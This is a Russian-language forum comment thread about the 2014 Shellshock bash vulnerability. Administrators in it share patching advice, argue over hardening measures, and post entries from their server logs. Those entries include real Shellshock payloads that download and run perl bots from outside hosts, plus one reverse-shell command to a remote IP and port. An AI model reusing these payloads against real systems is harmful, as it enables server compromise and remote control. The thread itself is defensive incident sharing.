How to become an author
Search
Write a publication
Pull to refresh

Comments 92

Думаю, что ссылка на virustotal не помешала бы.
Total votes 2: ↑1 and ↓1 0
Собирать свой ботнет. На гос.пенсию надежды мало, а с золотыми слитками тоже не все так просто, как показали недавние статьи на Хабре.
Total votes 57: ↑55 and ↓2 +53
Я про защиту, апдейт-апдейтом, но на разных системах он в разное время был. Тем более, что новые дыры появились.
Total votes 2: ↑1 and ↓1 0
У меня пока только одна попытка
173.255.204.76 - - [27/Sep/2014:19:58:13 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 18831 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://82.220.38.36/user;curl -O http://82.220.38.36/user ; perl /tmp/user;rm -rf /tmp/user\""
Total votes 1: ↑1 and ↓0 +1
Хорошо, что одна, когда я писал статью, я поискал на гитхабе и там около 9 репозиториев было со скриптами для провединя атаки.
This comment wasn’t rated yet 0
Это Вас какие-то скрипт-кидди атаковали — этот первловский скрипт обнаруживается практически всеми антивирусами.
Total votes 5: ↑0 and ↓5 -5
На скольких процентах линуксовых серверов стоит антивирус?
Total votes 19: ↑18 and ↓1 +17
Извините, а при чем тут это? Я лишь указал на технический уровень атакующего. Им был взят из паблика чужой сканер и откопан на одном из хакерских сайтов бот пятилетней давности — это факт. При массовых атаках хакеры борются за каждый процент «пробива» — за инструмент, дающий разницу в 2% профита могут платить суммы в килобаксах, а в данном случае, когда число уязвимых серверов велико, а добыча может быть настолько огромной — цена может быть еще выше. Но платить никому в данном случае не надо было — топикстартера атаковал уже не нуб-скрипт-киддис, а кто-то поумнее, он обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились и до сих пор (хотя прошло уже целых три дня) не восстановились — скрипт на virustotal'e детектируют около пяти антивирусов — те, кто хоть как-то следит за индустрией и имеет совесть (остальные либо стормозили, либо им пофиг). То, что хакер не обернул этого бота даже в base64 (две минуты работы) говорит только об одном — он нубер-копипастер. Мне, как человеку, который все свое свободное время посвящает борьбе с малварью такие люди противны. К тем, кто делает что-то технически красивое есть что-то отдаленно напоминающее уважение, но и к ним я отношусь по заветам Глеба Жеглова.
Total votes 2: ↑1 and ↓1 0
Скорее взят первый попавшийся бот. Если не видно разницы, то просто пытаются использовать уязвимость до того, как обновятся. Две минуты — это много.

обернул по сути тот же самый бот в eval(decode_base64 и детекты всех антивирусов (кроме софоса) отвалились


Да, именно поэтому антивирусов на линуксовых серверах нет. Когда есть тысячи способов сделать всё, что угодно — сигнатуры не помогают.
Total votes 1: ↑0 and ↓1 -1
Если антивирус есть хотя бы на 0.5% серверов, то хакер бы уже попытался сбить детект, тем более этот 0.5% может быть в этом случае равен тысячам серверов — неплохой куш можно упустить, правда? Если хакер этого не сделал, то он либо дикий лентяй, либо нубер. Непонятно с чем Вы пытаетесь спорить. Вы считаете атакующего квалифицированным хакером? Я же пишу — битва идет за каждую долю процента. К примеру exploit-kit с «пробивом» 5% может лежать в открытом доступе, а его следующая версия с «пробивом» 6.5% может стоить 2k$ (причем в аренду).
This comment wasn’t rated yet 0
Вот тут говорят что это вообще фича а небаг. К сожалению у меня нет сейчас времени перевести это.
paste.lisp.org/display/143864
Total votes 2: ↑1 and ↓1 0
Краткий перевод: когда деревья были большими, а интернет маленьким, кто-то решил, что было бы неплохо дать возможность любой переменной окружения стать функцией на bash. Это не было уязвимостью, поскольку все переменные окружения можно было получить только из доверенного источника.

Вот только фичу документировать забыли — а с приходим технологии cgi переменные окружения перестали быть доверенными.
Total votes 7: ↑7 and ↓0 +7
К существующим детектам
Agnitum
Sophos
Symantec
TrendMicro/TrendMicro-HouseCall

Добавился детект от DrWeb. А ведь прошло пять дней. Атаке именно с помощью этого файла подверглись множество серверов, про него протрубили на множестве форумов, и? Вопрос знатокам: отвечает Друзь или остальные антивирусы все-таки начнут чесаться?
This comment wasn’t rated yet 0
у меня вот такая парочка:
"() { (a)=>' bash -c 'wget http://video-vk.ru:80/logol.php?id4=248866)'" "() { :;}; /bin/bash -c \"(echo 'GET /logol.php?id3=248866' > /dev/tcp/video-vk.ru/80);(wget -qO- http://video-vk.ru:80/logol.php?id2=248866 &> /dev/null);(curl http://video-vk.ru:80/logol.php?id1=248866 &> /dev/null)\" #Your system may be vulnerable to ShellShock. Please visit https://vk.com/define for more information."

"() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/cm9ib2NyYWZ0LnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
Total votes 1: ↑1 and ↓0 +1
Чую, что ваш сайт входит в милионный топ :)
Total votes 1: ↑1 and ↓0 +1
интересно, а wget >> /dev/null это что, такая попытка DDOSa сайта creditstat неуклюжая?

у себя нашел такие же строчки только хэш другой
This comment wasn’t rated yet 0
А это я сканирую =)
Взял файл с миллионом доменов по популярности.
248866 — это ваше место в нем, кстати.
Процент не большой, но есть крупные магазины, гос. сайты уязвимые. Всем уже рапортовал, у кого нашел.
Total votes 19: ↑17 and ↓2 +15
video-vk.ru? Серьёзно? И не стыдно вам таким говном заниматься, да ещё и нам об этом рассказывать?
Total votes 8: ↑6 and ↓2 +4
Подсказываю «отмазы»:
1. Сайт не мой, я там только скрипт разместил
2. Не смотрел, но осуждаю
3. Ничего личного, это бизнес
4. Впервые вижу, это мне подбросили
5. У нас свобода слова, языка и других частей тела
Total votes 4: ↑4 and ↓0 +4
UFO just landed and posted this here
Если файл не найден, как в данном случае, bash всё равно запускается или нет? У меня в логах тоже есть подобная строчка, а bash на тот момент был дырявый (он и сейчас дырявый, но я отключил CGI).
This comment wasn’t rated yet 0
странно, в 6 дебиане уже есть заплатка. тестил код из статьи, уже не срабатывает «фича».
Total votes 1: ↑1 and ↓0 +1
проверил только что — заплаток нет

скрипт указывает на наличие бреши
env X="() { :;} ; echo busted" bash -c "echo stuff"
This comment wasn’t rated yet 0
в lts есть заплатка, если эти репы не подключены, то заплатка ставиться и приведенный код выше не работает. он не подключил их, вот и ждет до сих пор обновление, а оно вышло уже давно.
This comment wasn’t rated yet 0
Перевел на LTS, обновил.

Подтверждаю — брешь закрыта.
Total votes 1: ↑1 and ↓0 +1
зашел на сервер и сделал так:

s0:~# env X="() { :;} ; echo busted" bash -c "echo stuff" stuff s0:~#

не работает ошибка… заплатка стоит из подключенных lts репозитариев дебиана 6.
Total votes 1: ↑1 and ↓0 +1
>массовому заражению серверов
скорее домашних роутеров и прочих девайсов где из баша и палок веб-интерфейсы собраны
Total votes 4: ↑1 and ↓3 -2
Главная фича роутеров — большинство из них юзают busybox, а в нём этой проблемы нет.
Total votes 15: ↑15 and ↓0 +15
Посыпая голову пеплом — особо не знаком с данной уязвимостью, но как видно не зря на tmp ставлю rw,noexec,nosuid,nodev
Total votes 6: ↑1 and ↓5 -4
И давно noexec помогает от perl /tmp/script.pl?
Total votes 14: ↑13 and ↓1 +12
От того что у автора прилетело поможет.

С таким подходом можно и патчи не ставить все-равно пишут:

Уже есть сведения о патчах, которые оказались не слишком эффективны. Так что за этой уязвимостью нужно следить очень внимательно, она не из тех вещей, про которые можно забыть после установки патча.


А так знаете ли чем больше палок в колеса тем лучше.
This comment wasn’t rated yet 0
От того что у автора прилетело поможет.
Ну, заменят через час в эксплойте chmod +x /var/tmp/ec.z;/var/tmp/ec.z на perl /var/tmp/ec.z и уже не поможет.
Уже есть сведения о патчах, которые оказались не слишком эффективны.
В Gentoo bash за эти дни обновился 4 раза.
А так знаете ли чем больше палок в колеса тем лучше.
Проблема с некоторыми действиями в отношении безопасности в том, что они создают ложное чувство защищённости. Типичный пример — запрет входа как root через ssh: если разрешён вход только по ключу (как и должно быть), то без разницы, зашёл ты как root или как юзер и дальше сделал su/sudo. Монтирование /tmp с noexec из той же оперы.

В теории — я согласен, чем больше слоёв защиты тем больше вероятность что один из них помешает взлому. Но на практике когда «защиты» начинают городить бездумно, в режиме cargo cult, да ещё и такие, которые могут остановить только неопытных скрипт-кидди — от этого больше вреда, чем пользы.
Total votes 2: ↑1 and ↓1 0
Запрет root полезен тем, что пользователя, под которым надо входить, чтобы получить доступ к sudo еще надо узнать. Ведь пароли будут подбирать к типовым логинам.

Конечно да, тут можно сказать мало ли получат доступ через какие-то скрипты, но пароль для входа в sudo все-равно потребуется. Тут же можно, сказать почему вообще пользователь, под которым работают скрипты доступные из вне, могут лазить куда им не следует (выше домашней директории).

100 процентной защиты нет ни от чего. Но если сложить руки, то будет точно не лучше.
Total votes 3: ↑2 and ↓1 +1
Во-первых, если получат доступ к моему ключу для ssh это автоматически означает что так же получили доступ к остальным зашифрованным файлам на моей рабочей станции. А это, как и у любого админа, насколько дофига разных паролей и прочих критичных данных, что подберут пароль к sudo или нет — будет уже далеко не самой большой проблемой.
Во-вторых, доступ к sudo часто не требует пароля для некоторых команд/скриптов, и через эти команды нередко можно получить достаточный или вообще полный доступ.
В-третьих, у меня все пароли случайные, длинные и один пароль никогда не используется в двух разных местах — а это автоматически означает, что все пароли к sudo будут храниться там же, где и ключ для ssh — в зашифрованном виде на моей рабочей станции, так что тот, кто получит ключ ssh получит и пароль для sudo.

Вот об этом я и говорил выше. В теории, дополнительный слой защиты в виде пароля для sudo — это хорошая идея. На практике, когда рассматриваешь все возможные сценарии угроз — выясняется, что эта идея хороша исключительно в ситуации, когда доступ по ssh разрешён по паролю, который могут подобрать брутфорсом, и тогда наличие второго пароля для sudo действительно послужит дополнительным препятствием.
Total votes 3: ↑2 and ↓1 +1
Ну это вы уже в крайность впали, если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможет. С этим не поспоришь. Разве только ограничить доступ для конкретного ip, но тут можно сказать а если… :)

А вообще отдельный логин, который имеет доступ к sudo и отдельные пользователи для проектов посаженные в chroot как минимум лучше чем вываливать на обозрение root.

Вашу позицию, с тотальной параноей я тоже понимаю. Но знаете ли даже тетрадка с паролями надежно спрятанная в шкафу :) не спасет от паяльника и утюга.
This comment wasn’t rated yet 0
Все сервисы по отдельным виртуальным машинам с полной изоляцией. И колючая проволока со строгим дяденькой.
This comment wasn’t rated yet 0
Вообще-то я не об этом говорил. Я говорил о том, что вместо того чтобы запрещать вход root через ssh или монтировать /tmp noexec не думая, просто потому, что это кто-то когда-то порекомендовал или это написано где-то в интернетах или «так было всегда» — нужно сделать анализ угроз и возможных векторов атак. И вот тогда становится понятно, какие дополнительные слои защиты действительно могут помочь, а какие — в лучшем случае создают админу психологический комфорт (а в худшем создают ложное впечатление надёжности/защищённости и снижают бдительность и осторожность).
если кто то получит доступ к вашей базе паролей и ключей, то тут вам ни что уже не поможет
Это не паранойя и паника. Это результат анализа — я изучил все (известные мне) возможные варианты получить доступ к моему ключу ssh, и во всех этих вариантах одновременно получали доступ к моей базе паролей. Примеры: один из вариантов это руткит с кейлоггером, второй — паяльник.
Total votes 1: ↑0 and ↓1 -1
Арендую дешевую VDS (Ubuntu) для OpenVPN, стоит NGINX с 1 статичной страничкой, как увидел первую новость о уязвимости — сразу поставил все обновления.
Сейчас увидел в логах:
[27/Sep/2014:03:14:51 +0400] «GET / HTTP/1.0» 200 612 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22".

О Linux имею поверхностное представление… Мне стоит паниковать?
Total votes 2: ↑1 and ↓1 0
При чем тут это? Дыра не в веб-сервере, а в самом баше.
This comment wasn’t rated yet 0
NGINX притом, что уязвимость проявляется при запуске CGI-скриптов, которые NGINX в принципе не поддерживает. При подключении PHP через FastCGI bash не задействуется.
Total votes 7: ↑7 and ↓0 +7
А если за nginx стоит апач?
This comment wasn’t rated yet 0
а тут какой хочешь прокси ставь, если в тылу всё равно cgi поддерживается — тыл уязвим

когда nginx стоит перед апачем, он перекладывает сообщения из левой руки в правую и обратно, собственно, сам мозги не включает и соответственно ни от чего не защитит

простите за косноязычность
Total votes 1: ↑1 and ↓0 +1
Так я на это и намекал как бы. Nginx ведь сам по себе ни при чем и писать что он «не подвержен» также некорректно. Дыра то не в веб-серверах.
Total votes 3: ↑2 and ↓1 +1
Да, но нет гарантии что запущенный php-скрипт не вызовет bash сам (явно, или не явно — выполняя какую-то системную команду либо задействовав какую-нить фичу самого php).
Total votes 1: ↑1 and ↓0 +1
Если действительно одна страничка и cgi с башем не используется — паниковать нет смысла.
This comment wasn’t rated yet 0
UFO just landed and posted this here
Аналогично. С того же IP тот же запрос в логах.
This comment wasn’t rated yet 0
У меня висит owncloud, а по дефлотному пути ****.net отдается заглушка апача. Апдейты накатил. Что-то еще надо делать? Что там с самотестированием на уязвимость?
This comment wasn’t rated yet 0
Вроде вот это предлагается для тестирования. Если вываливает busted — все плохо. Интересно — Mikrotik подвержены?
env X="() { :;} ; echo busted" bash -c "echo stuff"
Total votes 1: ↑1 and ↓0 +1
UFO just landed and posted this here
Мне проще выделить веб-сервер в изолированную виртуальную машину, чем разводить такой ад с защитой) мне это сложно)
Total votes 2: ↑2 and ↓0 +2
UFO just landed and posted this here
Сегодня ночью стало все куда интереснее.

Слоупоки проснулись? Как минимум с 25го числа в логах попадаются вот такие штуки:
89.207.135.125 - - [25/Sep/2014:17:13:22 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1164 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Но основная волна пришлась на 26-27 сентября, с тонной вот таких запросов:
173.45.100.18 - - [27/Sep/2014:23:03:36 +0700] "GET /cgi-bin/hi HTTP/1.0" 404 1037 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""
Total votes 2: ↑1 and ↓1 0
Какие именно логи стоит смотреть?
This comment wasn’t rated yet 0
Apache / Ngnix / Lighttpd, или что там у вас стоит.
This comment wasn’t rated yet 0
А если простой домашний комп, «без никто», можно спокойно спать?
This comment wasn’t rated yet 0
Всё что не надо держать открытым в сеть — закрыть, закрыть на впн…
This comment wasn’t rated yet 0
Порылся в логах Апача на домашнем сервере — тоже нашел следы атак:

IP — 5.9.54.227 — - "-" "() { :;}; /bin/bash -c \«wget -O /dev/null tools.vsibiri.info/are_you_vuln/10*******.RU\»"

Посмотрел информацию по домену vsibiri.info — зарегистрирован достаточно давно — и сейчас уже ничего не отдает — взломали и с него дальше пытаются ломать?
This comment wasn’t rated yet 0
Смущает кусок «are you vulnerable». Чувство, что вначале предложили утилиту для сканирования уязвимости, а потом долбят по выявленным. Хотя фиг егоо знает.
This comment wasn’t rated yet 0
Скорее всего на домене организовали сканер уязвимости по списку… последний запрос с этого IP был полтора часа назад — посканировали и свернулись быстренько.

Пробовал подставить в строку из лога ссылку на скачивание на локалхосте — ничего не скачалось, да и обновился уже на всех подконтрольных серверах…
This comment wasn’t rated yet 0
Уже не должно быть. Администратор данного хоста связался со мной после получения абузы, сообщил о том, что очистил. Проверил — пока с его адреса ничего не видно.
Но изначально сканило хорошо, по большому списку. Остановилось где-то на доменах, начинающихся с цифры 4, может чуть позже.
This comment wasn’t rated yet 0
Да, это мой домен. Использовали в качестве шелл-прокси через эту уязвимость. Обновился, сейчас все нормально.
This comment wasn’t rated yet 0
Друзья, расскажите насчет уязвимости роутеров — чем грозит, как защититься?
P.S. Речь о домашнем ПК.
Total votes 1: ↑1 and ↓0 +1
Грозит чем угодно, в зависимости от роутера надо как минимум обновить прошивку (если ваш производитель уже выпустил исправленную), дальше искать следы в логах/процессах. Также лучше первым делом закрыть WEB-интерфейс через WAN.
Total votes 1: ↑0 and ↓1 -1
найдёте роутер с bash — пойдём дальше, а пока там busybox можно не особо дрожать и бояться
Total votes 4: ↑3 and ↓1 +2
В Busybox'е далеко не пять строк, рано или поздно и там чего-нибудь найдут, так что насчёт «не бояться» — это вы загнули, Но данная конкретная проблема его не касается, это правда.
Total votes 2: ↑0 and ↓2 -2
Как я понимаю, если mod_cgi(d) в апаче выключен, то бояться нечего?
Тоже в логах несколько запросов нашел

209.126.230.72 - - [25/Sep/2014:05:01:27 +0200] "GET / HTTP/1.0" 404 385 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
202.38.120.248 - - [26/Sep/2014:12:31:59 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
54.251.83.67 - - [27/Sep/2014:21:37:07 +0200] "GET / HTTP/1.0" 404 385 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
This comment wasn’t rated yet 0
У меня на паре доменов такое (с разными data):
80.249.81.130 - - [27/Sep/2014:01:19:40 +0400] "GET / HTTP/1.1" 200 53448 "-" "() { :;}; /bin/bash -c \"wget --delete-after http://remika.ru/userfiles/file/test.php?data=мойдомен.ru\""
This comment wasn’t rated yet 0
У меня так же есть запросы с этим доменом
This comment wasn’t rated yet 0
62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:39 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-bin-sdb/printenv HTTP/1.1" 404 30093 "() { :; }; wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 217 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:40 +0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 216 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET /cgi-mod/index.cgi HTTP/1.1" 404 208 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

62.210.75.170 - - [29/Sep/2014:12:42:41 +0400] "GET / HTTP/1.1" 200 77824 "() { :; }; /usr/bin/wget http://creditstat.ru/Z2FsaW5hLWx1a2FzLnJ1U2hlbGxTaG9ja1NhbHQ= >> /dev/null'"

Тоже у себя нашел.
This comment wasn’t rated yet 0
И у меня нашлось, код шелла еще на месте:

174.143.168.121 - - [29/Sep/2014:14:32:18 +0100] "GET //cgi-bin/bash HTTP/1.0" 404 274 "-" "() { :;}; /bin/bash -c \"wget http://legendsoftwares.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\""
This comment wasn’t rated yet 0
Поиск по логам находит только те запросы, которые передавали эксплоит в url или UserAgent. А все остальные эксплоиты, которые ограничились использованием Cookie: и прочих Accept-Charset: в логах не найдёшь… а они, скорее всего, есть.
Total votes 2: ↑2 and ↓0 +2
А почему никто не использует уязвимость, чтобы насильно патчить сервера? Отличный ведь способ выкатывать обновления.
Total votes 2: ↑2 and ↓0 +2
Ага, открываешь консоль, а там «Ваш сервер успешно обновлен, с вас 50р. за работу. Отправьте, пожалуйста, смс на номер...»
This comment wasn’t rated yet 0
Скорее всего, для накатывания обновлений прав текущего пользователя просто не хватит.
This comment wasn’t rated yet 0
Я не очень буду удивлён если появится статья: «АНБ знало об уязвимости bash 10 лет назад» или «Уязвимость shellshock» — закладка АНБ"
Total votes 2: ↑1 and ↓1 0
В логах уже бы давно заметили запуск баша в логах апача.
This comment wasn’t rated yet 0
Нет, если использовать для эксплойта любые http-заголовки кроме UserAgent и Referer.
This comment wasn’t rated yet 0
В копилку :)
174.143.168.121 — - [30/Sep/2014:02:33:53 +0400] «GET /cgi-bin/bash HTTP/1.1» 404 224 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"
This comment wasn’t rated yet 0
Есть ли какой другой вариант тестирования, кроме как из консоли? Можно ли как-то удаленно тестировать наличие такой ошибки в баше, не используя ssh?
Есть задача для проверки серверов заказчика без доступа на сам сервер по соображениям безопасности. Сам заказчик не обладает компетенцией для запуска скриптов в консоли.
This comment wasn’t rated yet 0
Ctrl+F ping
таким способом найдете на этой страницы примера вызова пинга на удаленной машине, если сервер отпинговался на ваш — уязвим.
This comment wasn’t rated yet 0
Sign up to leave a comment.

Articles

Unlock dark mode

Your account

Sections

Information

Services

Support
© 2006–2024, Habr